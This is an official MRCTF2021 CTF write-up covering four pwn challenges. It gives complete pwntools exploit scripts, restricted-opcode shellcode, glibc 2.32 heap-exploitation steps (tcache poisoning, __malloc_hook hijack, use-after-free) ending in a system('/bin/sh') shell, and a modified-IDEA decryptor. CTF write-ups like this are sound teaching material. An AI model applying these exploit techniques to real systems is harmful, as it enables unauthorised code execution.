MRCTF2021 官方PWN方向Wp

阅读量223501

|评论1

发布时间 : 2021-04-14 17:30:27

 

8bit_adventure

可以用来构造shellcode的指令有各种dec、inc、push、pop等。需要的地址有2个,一个是用来存储flag的,另一个是代码段中的,用来搜寻“flag”字符串。前者可以用eax的值,因为shellcode的地址残留在eax中;后者可以用栈上的返回地址。

由于关闭了标准输入流,所以“flag”必须到程序中找,只需要分别找到’f’,’l’,’a’,’g’,’\x00’就可以利用pipe开启的2个文件描述符来拼接——先分别写入到pipe的一端,再一次性读出到存储flag的地址上即可。

有了“flag”就是简单的orw了。

exp:

from pwn import *
context.log_level='debug'

sh=process('./8bit_adventure')
pause()

payload="\x5E\x50\x5F\x53\x58"
payload+="\x40"*42
payload+="\x53\x53\x54\x5B\xCD" #create a pipe
print(len(payload))

payload+="\x58\x50\x50\x40\x40\x40\x40\x5B\x43\x43\x43\x56\x59"
payload+="\x49"*0x5c5 # 0x08048333
payload+="\x5A\x52\x42\xCD"# write "f" to pipe

payload+="\x40"*3+"\x41"*3+"\xCD"# write "l" to pipe
payload+="\x40"*3+"\x41"*0xa+"\xCD"# write "a" to pipe
payload+="\x40"*3+"\x41"*0x10+"\xCD"# write "g" to pipe
payload+="\x40"*3+"\x41"*7+"\xCD"# write "\x00" to pipe
payload+="\x58\x50\x40\x40\x40\x5B\x53\x57\x59\x5A\x42\x42\x42\x42\x42\xCD"# read "flag" from pipe to start addr

payload+="\x53\x53\x57\x5B\x59\x5A\xCD"# open flag file
payload+="\x50\x50\x48\x5B\x57\x59\x5A"+"\x42"*0x30+"\xCD"# read from flag file
payload+="\x53\x58\x4B\x4B\x4B\xCD"# write flag to the terminal
print(len(payload))

sh.sendafter('code',payload+"\x00")
sh.interactive()

'''
pop esi //save text addr to esi
push eax
pop edi //save start addr to edi
push ebx
pop eax //pipe
inc eax // *42
push ebx
push ebx
push esp
pop ebx
int 0x80

pop eax //write "f" to start addr
push eax
push eax
inc eax
inc eax
inc eax
inc eax
pop ebx
inc ebx
inc ebx
inc ebx
push esi
pop ecx
dec ecx// *0x5c5
pop edx
push edx
inc edx
int 0x80

inc eax// *3
inc ecx//write "l" to start addr
inc ecx
inc ecx
int 0x80

inc eax// *3
inc ecx//*10,write "a" to start addr
int 0x80

inc eax// *3
inc ecx// *0x10,write "g" to start addr
int 0x80

inc eax// *3
inc ecx// *7,write "0x00" to start addr
int 0x80

pop eax//read from pipe
push eax
inc eax
inc eax
inc eax
pop ebx
push ebx
push edi
pop ecx
pop edx
inc edx
inc edx
inc edx
inc edx
inc edx
int 0x80

push ebx//open flag file
push ebx
push edi
pop ebx
pop ecx
pop edx
int 0x80

push eax// read from flag file
push eax
dec eax
pop ebx
push edi
pop ecx
pop edx
inc edx// *0x30
int 0x80

push ebx// write flag
pop eax
dec ebx
dec ebx
dec ebx
int 0x80
'''

 

super32

漏洞点在进行base32解码的时候,若删去填充,将会导致计算得到的解码后长度小于实际解码后的长度,申请chunk时容易造成对下一chunk的size域进行覆写造成溢出。

首先得到换表之后base32的表,通过原base32表构造字符串进行解密,通过encode进行加密获得换表之后的base32表。

对chunk的排布,进行提前构造。

申请0x90大小的chunk,然后释放填满tcache,再释放进入unsortedbin。申请0x20的chunk,利用残留的bk指针,泄露libc。

利用堆溢出,对size域进行溢出修改,然后释放chunk,实现overlap。

由于libc2.32的chunk list的组织方式改变,需要泄露heap的地址,这里通过overlap与fd指针拼接泄露tcache的next指针,并计算出heap base。

最后改tcache next打malloc_hook,one_gadget一把梭。

exp

#!/usr/bin/python2
# coding=utf-8
from pwn import *
import base64
import string

local = 0
debug = 0
ip = '127.0.0.1'
port = 10001
proc = './super32'
local_libc_path = '/lib/x86_64-linux-gnu/libc-2.32.so'
remote_libc_path = './libc-2.32.so'


def one_gadget(filename=remote_libc_path):
    return map(
        int,
        subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))


if debug:
    context.log_level = 'debug'

if local:
    io = process(proc)
    libc = ELF(local_libc_path)
    try:
        one = one_gadget(local_libc_path)
    except:
        pass
else:
    io = remote(ip, port)
    libc = ELF(remote_libc_path)
    try:
        one = one_gadget()
    except:
        pass
elf = ELF(proc)

r = lambda x=4096: io.recv(x)
rl = lambda: io.recvline()
ru = lambda x: io.recvuntil(x)
rn = lambda x: io.recvn(x)
rud = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
ia = lambda: io.interactive()
su = lambda x: success('%s >> %s' % (x, hex(eval(x)))) if type(eval(
    x)) == int else success('%s >> %s' % (x, eval(x)))


def attach():
    su('io.pid')
    pause()


def encode(ctt):
    ru('>> ')
    sl(str(1))
    ru('Plz input ur code:')
    sl(ctt)


def decode(choice=1, ctt=''):
    ru('>> ')
    sl(str(2))
    ru('1.Get code from encode list.\n2.Input ur code.')
    sl(str(choice))
    if (choice == 2):
        ru('Plz input ur code:')
        sl(ctt)


def show():
    ru('>> ')
    sl(str(3))


def dele():
    ru('>> ')
    sl(str(4))


# get base32 table
dic = 'A1B2C3D4E5F6GHIJKLMNOPQRSTUVWXYZ'
str1 = base64.b32decode('BBCDEFGHIJKLMNOPQRSTUVWXYZ234567')
encode(str1)
show()
ru('Encode list:\n1.')
table = r(32)
for i in dic:
    if i not in table:
        table = i + table[1:]
su('table')
# get base32 table end

# leak libc
for i in range(9):
    encode('a' * (0x70 / 8 * 5))
for i in range(2):
    encode('aaaaa' * 8)
for i in range(1 + 7 + 1):
    decode()
    dele()
encode('123')
show()
libc.address = u64(ru('\x7f')[-6:].ljust(
    8, '\x00')) - 0xf0 - libc.symbols['__malloc_hook']
free_hook_addr = libc.symbols['__free_hook']
one_addr = libc.address + one[1]
su('libc.address')
# leak libc end


# base32
def my_b32_decode(code):
    std_base32chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
    code = code.translate(string.maketrans(table, std_base32chars)).replace(
        'm', '=').replace('r', '=').replace('c',
                                            '=').replace('t', '=').replace(
                                                'f', '=').replace('!', '=')
    return base64.b32decode(code)


def my_b32_encode(code):
    code = base64.b32encode(code)
    std_base32chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
    code = code.translate(string.maketrans(std_base32chars, table))
    return code.replace('======', 'mrctf!').replace('====', 'ctf!').replace(
        '===', 'tf!').replace('=', '!')
# base32 end

# change size 
decode()
dele()

payload1 = my_b32_encode('a' * 0x80)
decode(2, payload1)

payload2 = 'aaaaa' * 11 + 'a'+p8(0x71)
payload2 = my_b32_encode(payload2).replace('!', '')
decode(2, payload2)
# change size end

# structure chunk
for i in range(5):
    decode(2, my_b32_encode('a' * 0x40))
for i in range(7):
    dele()

decode()
dele()
decode()
dele()
# structure chunk end

# leak heap base
decode(2, my_b32_encode('a' * 0x50))
show()
def get_heap_base(addr):
    part1 = 0xfff000000000 & addr
    part2 = (0x000fff000000 & addr) ^ (part1>>12)
    part3 = (0x000000fff000 & addr) ^ (part2>>12)
    return part1 + part2 + part3
ru('a'*0x50)
heap_base = get_heap_base(u64(r(6).ljust(8,'\x00')))
su('heap_base')
# leak heap base

# getshell
dele()
fd = (heap_base>>12)^(libc.symbols['__malloc_hook']-0x10)
su('fd')
payload3 = 'a' * 0x48 + p64(0x51) + p64(fd)
decode(2,my_b32_encode(payload3))
decode(2,my_b32_encode('a'*0x40))
decode(2,my_b32_encode(p64(one_addr).ljust(0x40,'a')))
encode('123')
ia()
# getshell end

 

notebook

一. 查看汇编找出隐藏菜单-1(0xffffffff):login

二. 利用string的动态分配内存机制来制造chunk:每当字符串长度超过0x10*2**k的时候,就会释放掉之前的chunk,然后申请一个大小更合适的chunk

三. 利用侧信道攻击login admin:字符串长度为0x100的时候会打印出记录正确字节长度的循环变量i

四. 利用admin登录后的uaf来控制User结构体,完成泄露和劫持:因为类成员函数的第一个变量是this,所以在类结构体最前端覆写成/bin/sh,然后写成员函数指针为system,即可getshell

# coding=utf-8
from pwn import *

# context.log_level = 'debug'
filename = './notebook'
libcname = './libc.so.6'
p = process(filename)
# p = remote('127.0.0.1',9999)

# 各级菜单
def chose(idx):
    p.sendlineafter('>', str(idx))
def new(idx):
    chose(1)
    p.sendlineafter('Note ID', str(idx))
def delete(idx):
    chose(2)
    p.sendlineafter('Note ID', str(idx))
def edit(idx, content):
    chose(3)
    p.sendlineafter('Note ID', str(idx))
    p.sendlineafter('Note', content)
def show(idx):
    chose(4)
    p.sendlineafter('Note ID\n>', str(idx))
def su(user, passwd = ''):
    chose(5)
    p.sendlineafter('Username : ', user)
    if (passwd != ''):
        p.sendlineafter('Set your password : ', passwd)
def login():
    # 整数溢出到负数,-1的unsigned int形式
    chose(0xffffffff)
    key = ''
    # 侧信道攻击,通过栈溢出泄露对的字符个数 i
    for ch in range(0x30, 0x7f):
        p.recvuntil('2 Exit')
        p.recvuntil('###############\n')
        p.sendline('1')
        se = key+chr(ch)
        se = se.ljust(0x88, '0')
        p.sendline(se)
        re = p.recv(8, timeout=1)
        if re == '':
            return
        p.recv(0x80)
        j = ord(p.recv(1))
        if j == 1:
            key += chr(ch)
            break
    for i in range(1, 0x40):
        for ch in range(0x30, 0x7f):
            p.recvuntil('2 Exit')
            p.recvuntil('###############\n')
            p.sendline('1')
            se = key+chr(ch)
            se = se.ljust(0x88, '0')
            p.sendline(se)
            re = p.recv(8)
            if 'W' not in re:
                return key
            p.recv(0x80)
            j = ord(p.recv(1))
            if i < j:
                key += chr(ch)
                print i + 1, key
                break

# admin下申请一个User大小的chunk[0]
new(0)
edit(0, 'a' * 0xf0)

# 登录释放这个chunk
login()

# 让x用户的User结构体分配在admin的chunk[0]中
su('x', 'x'*0x11)

# 制造一个可转化成unsorted bin的chunk
new(0)
edit(0, 'a' * 0x40)

# 切换成admin用户,用show泄露heap和base的地址
su('admin')
show(0)
re = p.recv(0xf0)
heap = u64(re[0x10:0x18]) + 0x30
unsorted = u64(re[0x10:0x18]) - 0x7fffc295a1e0 + 0x7fffc295a130
base = u64(re[0xe0:0xe8]) - 0x7fe4a6f84b3e + 0x7fe4a6f80cbc
shared_ptr = base + 0x00007fa7239d1b70 - 0x7fa7239c4000
payload = re[:0x50] + p64(heap+0x30) + p64(heap+0x20) + p64(0) + p64(0) + p64(shared_ptr-0x10) + p32(0x1) + p32(0x1) + p64(unsorted) + p64(0x40) + re[-0x60:]

# 填充0x50的Tcache
for i in range(1, 8):
    new(i)
    edit(i, 'a' * 0x40)
for i in range(1, 8):
    edit(i, 'a' * 0x80)

# 切换成x用户,制造unsorted bin
su('x')
edit(0, 'a' * 0x80)

# 切换成admin用户,修改x结构体中string的_M_dataplus指针
su('admin')
edit(0, payload)

# 切换成x用户,泄露libc地址
su('x')
show(0)
hook = u64(p.recv(6).ljust(8, '\x00')) - 96 - 0x10
libc = ELF(libcname, checksec = False)
libc_addr = hook - libc.sym['__malloc_hook']
libc.address = libc_addr
one = libc_addr + 0xced47
system = libc.sym['system']
open = libc.sym['open']
read = libc.sym['read']

# 构造新的x结构体,在使用func指针的时候利用类指针this指向"/bin/sh\x00"
payload = payload[:0x10] + '/bin/sh\x00' + payload[0x18:0x80] + p64(heap-0x50) + p64(0xf0) + payload[0x90:-0x20] + p32(0) + p32(0) + p64(1) + p64(system) + p64(0)
su('admin')
edit(0, payload)

# 确认leak的这些地址
success('base : 0x%x'%(base))
success('heap : 0x%x'%(heap))
success('libc : 0x%x'%(libc_addr))

# 登录x触发system("/bin/sh")
su('x')
chose(0xffffffff)
p.sendline('1')
p.sendline('x'*0x11)

p.interactive()

 

strange_heap

虽然被PWN爷各种非预期花式切了,但是还是希望爷们能看看这个Crypwn的wp
本题考点在于三点:

  1. 逆向发现是魔改的IDEA算法,原IDEA算法是16位的,这里是32位
  2. 进行密码分析,可知魔改后的IDEA存在漏洞$2^{32}+1 = 4294967297$ 并不是素数,将其作为模乘的base会导致如果密钥中有与$2^{32}+1$不互素的部分,会导致加密结果不能正常解密
  3. 通过uaf漏洞,泄露出密钥,发现其中存在641,即为$2^{32}+1$的一个因子,故即使写出解密程序,也无法解密密文,需要再次使用uaf漏洞将密钥部分修改,再得到密文,通过IDEA解密函数进行解密

exp有两部分,一部分为pwntools交互,泄露密钥和修改密钥,一部分为C语言用于解密IDEA算法

python部分:

from pwn import *
from Crypto.Util.number import *


context(os='linux', arch='amd64')
context.terminal = ['tmux', 'split', '-h']
# context.log_level = 'debug'


def create(idx, content):
    p.sendlineafter('Show me your choice: ', '1')
    p.sendlineafter('index:', str(idx))
    p.sendafter('content:', content)


def delete(idx):
    p.sendlineafter('Show me your choice: ', '2')
    p.sendlineafter('index:', str(idx))


def edit(idx, content):
    p.sendlineafter('Show me your choice: ', '5')
    p.sendlineafter('index:', str(idx))
    p.sendlineafter('Your choice(0 for show/1 for edit):', '1')
    p.sendafter('content:', content)

def show(idx):
    p.sendlineafter('Show me your choice: ', '5')
    p.sendlineafter('index:', str(idx))
    p.sendlineafter('Your choice(0 for show/1 for edit):', '0')


# gdb.attach(p)

# leak the key
'''key = '01'
for i in range(4):
#     p = process('./strange_heap')
    p = remote('0.0.0.0', 9999)
    create(0, 'a' * 0xA0)
    show(0)
    p.recvuntil('the gift is ')
    base_addr = int(p.recv(14), 16)
    delete(0)
    edit(0, p64(base_addr+30*i))
    create(1, 'lordriot')
    create(2, '1')
    show(2)
    p.recvuntil('1\x00')
    key += p.recv(30)
    p.close()
# p = process('./strange_heap')
p = remote('0.0.0.0', 9999)
create(0, 'a' * 0xA0)
show(0)
p.recvuntil('the gift is ')
base_addr = int(p.recv(14), 16)
delete(0)
edit(0, p64(base_addr+240))
create(1, 'lordriot')
create(2, '1')
show(2)
p.recvuntil('1\x00')
key += p.recv(14)
p.close()
print(key[:96])
real_key = key[:96] + '1' * 0xA0'''




# got the enc
# p = process('./strange_heap')
p = remote('0.0.0.0', 9999)
create(0, 'a' * 0xA0)
show(0)
p.recvuntil('the gift is ')
base_addr = int(p.recv(14), 16)
delete(0)
edit(0, p64(base_addr+96))
create(1, 'lordriot')
create(2, '1'*0xA0)

p.sendlineafter('Show me your choice: ', '3')
p.sendlineafter('Your right:', '1')

# use C exp to decrypt
s = '4D524354467B5730775F755F7233613131795F6730745F31745F69335F7468335F494445415F6240636B643030725F30725F3074683372733F3F3F7D61616161'
flag = long_to_bytes(int(s, 16))
print "flag -> " + flag

# check 
p.sendlineafter('Show me your choice: ', '3')
p.sendafter('Your right:', flag)
p.interactive()

C语言部分:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>

typedef void (*idea_gen_key)(uint32_t[52], uint32_t[8]);

long long mulMod4294967297(long long a, long long b)
{
    long long c;

    if (a == 0)
        return -b + 1;
    if (b == 0)
        return -a + 1;

    c = a * b;
    c = c % 4294967297;
    if(c < 0)
        c += 4294967298;
    return c;
}

// 4294967297 = 641 * 6700417

long long mod_inverse(long long m,long long n)
{
    //printf("shoot num: %lld\n", m);
    long long a,a1,b,b1,c,d,q,r,t;
    a1=b=1,a=b1=0,c=m,d=n;
    while(1)
    {
        q=c/d,r=c%d;
        if(r==0){
            if(a<0)
                a = a + n;
            return a;
        }
        c=d,d=r,t=a1,a1=a,a=t-q*a,t=b1,b1=b,b=t-q*b;
    }
}

void encrypt(uint32_t subKey[52], uint32_t key[8])
{
    long long i;

    // Generate encryption keys
    /*printf("Keys: \n");
    for(i = 0; i< 8; i++)
        printf("%04x\n", key[i]);*/
    for (i = 0; i < 52; i++)
    {
        if (i < 8)
            subKey[i] = key[i];
        else if (i % 8 == 6)
            subKey[i] = (subKey[i - 7] << 9) | (subKey[i - 14] >> 7);
        else if (i % 8 == 7)
            subKey[i] = (subKey[i - 15] << 9) | (subKey[i - 14] >> 7);
        else
            subKey[i] = (subKey[i - 7] << 9) | (subKey[i - 6] >> 7);
    }
}


void IDEA(uint32_t* data, uint32_t key[8], idea_gen_key func, int length)
{
    long long i;
    uint32_t subKey[52];

    // Generate keys
    func(subKey, key);

    for (int j = 0; j < length; ++j) {
        uint32_t X0 = data[4 * j + 0];
        uint32_t X1 = data[4 * j + 1];
        uint32_t X2 = data[4 * j + 2];
        uint32_t X3 = data[4 * j + 3];
        uint32_t tmp1, tmp2;

        //printf("data -> %d, %d\n", data[0], X0);
        // Apply 8 rounds
        printf("%d:   %04X %04X %04X %04X\n", j, X0, X1, X2, X3);
        for (i = 0; i < 8; i++)
        {
            //printf("%lld:   %04X %04X %04X %04X\n", i, X0, X1, X2, X3);

            uint32_t tmp = X0;
            X0 = mulMod4294967297(X0, subKey[6 * i + 0]);        // Step 1

            X1 += subKey[6 * i + 1];                        // Step 2
            X2 += subKey[6 * i + 2];                        // Step 3
            X3 = mulMod4294967297(X3, subKey[6 * i + 3]);        // Step 4

            tmp1 = X0 ^ X2;                                    // Step 5
            tmp2 = X1 ^ X3;                                    // Step 6

            tmp1 = mulMod4294967297(tmp1, subKey[6 * i + 4]);    // Step 7
            tmp2 += tmp1;                                     // Step 8
            tmp2 = mulMod4294967297(tmp2, subKey[6 * i + 5]);    // Step 9
            tmp1 += tmp2;                                    // Step 10

            X0 ^= tmp2;
            X1 ^= tmp1;
            X2 ^= tmp2;
            X3 ^= tmp1;

            // Swap X1 and X2
            tmp1 = X1;
            X1 = X2;
            X2 = tmp1;
        }

        tmp1 = X1;
        tmp2 = X2;

        // Apply the half round
        data[4 * j + 0] = mulMod4294967297(X0, subKey[6 * i + 0]);
        data[4 * j + 1] = tmp2 + subKey[6 * i + 1];
        data[4 * j + 2] = tmp1 + subKey[6 * i + 2];
        data[4 * j + 3] = mulMod4294967297(X3, subKey[6 * i + 3]);

    }

}


void decrypt(uint32_t subKey[52], uint32_t key[8])
{
    long long i;
    uint32_t K[52];

    // Compute encryption keys
    encrypt(K, key);

    // Generate dencryption keys
    subKey[0] = mod_inverse(K[48], (long long)4294967297);
    subKey[1] = -K[49];
    subKey[2] = -K[50];
    subKey[3] = mod_inverse(K[51], (long long)4294967297);


    //printf("Keys: %04X %04X %04X %04X\n", subKey[0], subKey[1], subKey[2], subKey[3]);

    for (i = 4; i < 52; i += 6)
    {
        subKey[i + 0] = K[52 - i - 2];
        subKey[i + 1] = K[52 - i - 1];

        subKey[i + 2] = mod_inverse(K[52 - i - 6], (long long)4294967297);
        if (i == 46) {
            subKey[i + 3] = -K[52 - i - 5];
            subKey[i + 4] = -K[52 - i - 4];
        } else {
            subKey[i + 3] = -K[52 - i - 4];
            subKey[i + 4] = -K[52 - i - 5];
        }
        subKey[i + 5] = mod_inverse(K[52 - i - 3], (long long)4294967297);

        //printf("Keys: %04X %04X %04X %04X %04X %04X\n", subKey[i], subKey[i + 1], subKey[i + 2], subKey[i + 3], subKey[i + 4], subKey[i + 5]);
    }

}

void pad(char* str){
    unsigned int length = 16 - strlen(str)%16;
    for (int i = 0; i < length; ++i)
        strcat(str, "A");
}

uint32_t bin_to_int(char *str)
{
    long long i;
    uint32_t size = strlen(str);
    uint32_t result = 0;
    uint32_t pow = 1;

    for (i = size - 1; i >= 0; i--) {
        if (str[i] == '1')
            result += pow;
        pow *= 2;
    }

    return result;
}

void convertStringToBin(char *str, uint32_t *data, uint32_t size)
{
    long long i, j = 0;
    long long sizeBlock = sizeof(uint32_t) * 8;
    char block[sizeBlock + 1];
    for (i = 0; i < strlen(str) && i < size * sizeof(uint32_t); i += sizeof(uint32_t))
    {
        strncpy(block, str, sizeBlock);
        block[sizeBlock] = '\0';
//    printf("Bin str -> %s\n", block);
        data[j++] = bin_to_int(block);
//    printf("Bin num -> %04X\n", data[j-1]);
        str += sizeBlock;
    }
}


void int_to_bin(int i, char *c)
{
    int j = 0;
    while(j<8)
    {
        c[j] = (i&(1<<(7-j)))!=0 ? '1':'0';
        j++;
    }
    c[8] = '\x00';
}


char* Str_to_bin(char* bin_str, char* str)
{
    for (int i = 0; i < strlen(str); i++){
        bin_str[i] = '\x00';
    }
    for(int i = 0; i < strlen(str); i+=1){
        char tmp[9];
        int_to_bin((int)str[i], tmp);
        printf("the %c is :", str[i]);
        puts(tmp);
        strcat(bin_str, tmp);
    }
    return bin_str;
}

void test_IDEA()
{
    char* data_str = "MRCTF{W0w_u_r3a11y_g0t_1t_i3_th3_IDEA_b@ckd00r_0r_0th3rs???}aaaa";
    char data_bin[8 * strlen(data_str) + 1];
    Str_to_bin(data_bin, data_str);

    uint32_t data[(int)(strlen(data_str)/4)];
    uint32_t key[8];

    char key_bin[257] = "0100110001101111011100100110010000100000010100100110100101101111011101000010000001101000011000010000000001100110001111011000000101100011011010000110000101101100011011000110010101101110011001110110010100100000011001100110111101110010001000000111010100101110";
    //char key_bin[257] = "0100110001101111011100100110010000100000010100100110100101101111011101000010000001101000011000010000000001100110011101011000000101100011011010000110000101101100011011000110010101101110011001110110010100100000011001100110111101110010001000000111010100101110";

    convertStringToBin(data_bin, data, (int)(strlen(data_str)/4));
    convertStringToBin(key_bin, key, 8);

    // print initial data
    printf("Initial   data: ");
    for (int i = 0; i < (int)(strlen(data_str)/4); ++i)
        printf("%04X ", data[i]);
    printf("\nround: %d\n",(int)(strlen(data_str)/16));
    // Encrypt data
    IDEA(data, key, encrypt, (int)(strlen(data_str)/16));
    printf("\nEncrypted data: ");
    for (int i = 0; i < (int)(strlen(data_str)/4); ++i)
        printf("%04X ", data[i]);

    // work_type = 16;
    // Decrypt data
    IDEA(data, key, decrypt, (int)(strlen(data_str)/16));
    printf("\nDecrypted data: ");
    for (int i = 0; i < (int)(strlen(data_str)/4); ++i)
        printf("%04X ", data[i]);

}




char key_bin[257];
uint32_t offset;
int create_times=1;
int free_times=1;
int show_edit_times=1;
char* chunks[3];
int NUM = 3;

void get_str(char* buf, int num){
    int real_num = read(0, buf, num);
    *(buf+real_num) = 0;
}

void init(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    int fd;
    fd = open("./key", O_RDONLY);
    read(fd, key_bin, 256);
    close(fd);
    fd = open("/dev/urandom", O_RDONLY);
    read(fd, &offset, sizeof(offset));
    close(fd);
    offset &= 0xFFF;
    //printf("random -> %d\n", offset);
    if(!*(key_bin + offset)){
        fd = open("./flag", O_RDONLY);
        //printf("flag fd -> %d\n", fd);
        read(fd, key_bin + offset, 0x40);
        pad(key_bin+offset);
        close(fd);
    }

}

int menu(){
    char buf[4];
    puts("Welcome to Lord Riot's easy challenge!");
    puts("1. create a box");
    puts("2. delete a box");
    puts("3. check the right");
    puts("4. exit the system");
    puts("Show me your choice: ");
    get_str(buf, 4);
    puts(buf);
    return atoi(buf);
}



void create(){
    int id;
    char buf[4];
    puts("index: ");
    get_str(buf, 4);
    id = atoi(buf);
    if (id < 0 || id > NUM || chunks[id] ||create_times < 1 || create_times++ > NUM)
        exit(0);
    else{
        chunks[id] = malloc(0xA8);
        *(char*)(chunks[id]+0xA0) = '1';
        puts("content: ");
        get_str(chunks[id], 0xA0);
    }
}

void edit_or_show(){
    int id, choice;
    char buf[4];
    puts("index: ");
    get_str(buf, 4);
    id = atoi(buf);
    if (id < 0 || id > NUM || show_edit_times++ > 3)
        exit(0);
    else{
        puts("Your choice(0 for show/1 for edit):");
        get_str(buf, 4);
        choice = atoi(buf);
        if(choice == 1){
            if (*(char*)(chunks[id]+0xA0) == '1')
                exit(0);
            puts("content: ");
            get_str(chunks[id], 8);
        }
        else{
            write(1, chunks[id], 0x20);
            printf("the gift is %p\n", key_bin);
        }
    }
}


void delete(){
    int id;
    char buf[4];
    puts("index: ");
    get_str(buf, 4);
    id = atoi(buf);
    if (id < 0 || id > NUM || !chunks[id] || free_times < 1 || free_times++ > 1)
        exit(0);
    else
        free(chunks[id]);
}




void check(){
    char right[0x50];
    unsigned int got = 1;
    puts("Your right:");
    get_str(right, 0x40);
    pad(right);

    char data_bin[8 * strlen(right) + 1];
    char flag_bin[8 * strlen(key_bin+offset) + 1];
    Str_to_bin(data_bin, right);
    Str_to_bin(flag_bin, (key_bin+offset));

    uint32_t data[(int)(strlen(right)/4)];
    uint32_t flag[(int)(strlen(key_bin+offset)/4)];
    uint32_t key[8];
    for (int i = 0; i < (int)(strlen(key_bin+offset)/4); ++i)
        flag[i] = '\x00';
    for (int i = 0; i < (int)(strlen(right)/4); ++i)
        data[i] = '\x00';


    convertStringToBin(data_bin, data, (int)(strlen(right)/4));
    convertStringToBin(flag_bin, flag, (int)(strlen(key_bin+offset)/4));

    convertStringToBin(key_bin, key, 8);
    IDEA(data, key, encrypt, (int)(strlen(right)/16));
    IDEA(flag, key, encrypt, (int)(strlen(key_bin+offset)/16));
    puts(key_bin);
    for (int i = 0; i < (int)(strlen(key_bin+offset)/4); ++i) {
        printf("Chunk %d enc flag -> %04X\n",i+1, flag[i]);
        if(data[i] != flag[i])
            got = 0;
    }

    IDEA(flag, key, decrypt, (int)(strlen(key_bin+offset)/16));
    puts("Decrypt res:");
    for (int i = 0; i < (int)(strlen(key_bin+offset)/4); ++i) {
        printf("%04X",flag[i]);
    }
    if(!got)
        return;
    else
        puts("You are Right!");
    exit(0);
}

void EXP(){
    uint32_t key[8];

    // past key
    //char key_b[257] = "0100110001101111011100100110010000100000010100100110100101101111011101000010000001101000011000010000000001100110001111011000000101100011011010000110000101101100011011000110010101101110011001110110010100100000011001100110111101110010001000000111010100101110";
    // changed key
    char key_b[257] = "0100110001101111011100100110010000100000010100100110100101101111011101000010000001101000011000011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111";

    convertStringToBin(key_b, key, 8);

    // work_type = 16;
    // Decrypt data
    uint32_t enc_flag[16];
    enc_flag[0] = 0x6355A33E;
    enc_flag[1] = 0xEC2A763B;
    enc_flag[2] = 0x5E534E37;
    enc_flag[3] = 0x90B45DF7;
    enc_flag[4] = 0xA88599C8;
    enc_flag[5] = 0xD91D17D7;
    enc_flag[6] = 0x17FD70B7;
    enc_flag[7] = 0x29F8788E;
    enc_flag[8] = 0xCEFB7DF0;
    enc_flag[9] = 0x453C0089;
    enc_flag[10] = 0xDCB25476;
    enc_flag[11] = 0x80FAF1FE;
    enc_flag[12] = 0x88D82B26;
    enc_flag[13] = 0xF3774C34;
    enc_flag[14] = 0xAAE997BB;
    enc_flag[15] = 0x404D662F;

    IDEA(enc_flag, key, decrypt, 4);
    printf("\nDecrypted data: ");
    for (int i = 0; i < 16; ++i)
        printf("%04X", enc_flag[i]);
}



int main(){
    /*init();
    while (1){
        int choice = menu();
        printf("choice -> %d\n", choice);
        switch(choice){
            case 1:
                create();
                break;
            case 2:
                delete();
                break;
            case 3:
                check();
                break;
            case 4: exit(0);
            case 5:
                edit_or_show();
                break;
            default:
                puts("Wrong Choice!");
                break;
        }
    }*/
    //test_IDEA();
    EXP();
}

本文由DawnAA原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/237897

安全客 - 有思想的安全新媒体

分享到:微信
+17赞
收藏
DawnAA
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66